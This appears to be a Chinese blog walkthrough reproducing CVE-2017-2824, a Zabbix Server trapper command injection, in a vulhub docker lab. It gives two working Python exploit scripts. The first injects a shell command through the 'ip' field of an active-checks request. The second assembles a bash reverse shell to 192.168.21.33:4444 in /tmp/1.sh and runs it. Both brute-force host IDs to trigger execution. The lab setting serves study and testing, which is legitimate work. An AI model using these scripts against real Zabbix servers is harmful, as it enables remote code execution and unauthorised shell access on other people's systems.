CVE-2017-2824

kalixcn發表於2024-05-20

Zabbix Server trapper命令注入漏洞(CVE-2017-2824)

Zabbix 是由Alexei Vladishev 開發的一種網路監視、管理系統,基於 Server-Client 架構。其Server端 trapper command 功能存在一處程式碼執行漏洞,特定的資料包可造成命令注入,進而遠端執行程式碼。攻擊者可以從一個Zabbix proxy發起請求,從而觸發漏洞。

環境搭建

執行如下命令啟動一個完整的Zabbix環境,包含Web端、Server端、1個Agent和Mysql資料庫:

cd vulhub/zabbix/CVE-2017-2824
docker-compose up -d

命令執行後,執行docker-compose ps 檢視容器是否全部成功啟動,如果沒有,可以嘗試重新執行docker-compose up -d

利用該漏洞,需要服務端開啟了自動註冊功能,所以先以管理員的身份開啟自動註冊功能。使用賬號密碼admin/zabbix登入後臺,進入Configuration->Actions,將Event source調整位Auto registration,然後點選Create action,建立一個Action,名字隨意:
img
第三個標籤頁,建立一個Operation,type是"Add Host":
img

漏洞復現

使用這個簡單的POC來複現漏洞:

import sys
import socket
import json
import sys


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
    if data and b'failed' not in data:
        print('hostid: %d' % i)
        print(data)

這個POC比較初級,請多執行幾次

反彈shell

import sys
import socket
import json
from time import sleep
 
def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    data = conn.recv(2048)
    conn.close()
    return data
 
 # target = "192.168.21.33"
target = sys.argv[1]
num = 1
 
exps = [';echo -n "/bin/bash" > /tmp/1.sh', ';echo -n " -i >& " >> /tmp/1.sh', ';echo -n "/dev/tcp/" >> /tmp/1.sh',
        ';echo -n "192.168." >> /tmp/1.sh', ';echo -n "21.33/" >> /tmp/1.sh', ';echo -n "4444 0>&1" >> /tmp/1.sh',
        ';/bin/bash /tmp/1.sh']
for exp in exps:
    host = "vulhub" + str(num)
    print(host)
    print(send(target, {"request": "active checks", "host": host, "ip": exp}))
    sleep(1)
    num += 1
 
    for i in range(10000, 10500):
        data = send(target, {"request": "command", "scriptid": 1, "hostid": str(i)})
        if data and b'failed' not in data:
            print('hostid: %d' % i)
            print(data)

在CVE-2017-2824中,其Server端 trapper command 功能存在一處程式碼執行漏洞,而修復補丁並不完善,導致可以利用IPv6進行繞過,注入任意命令。
Zabbix Server trapper命令注入漏洞(CVE-2020-11800)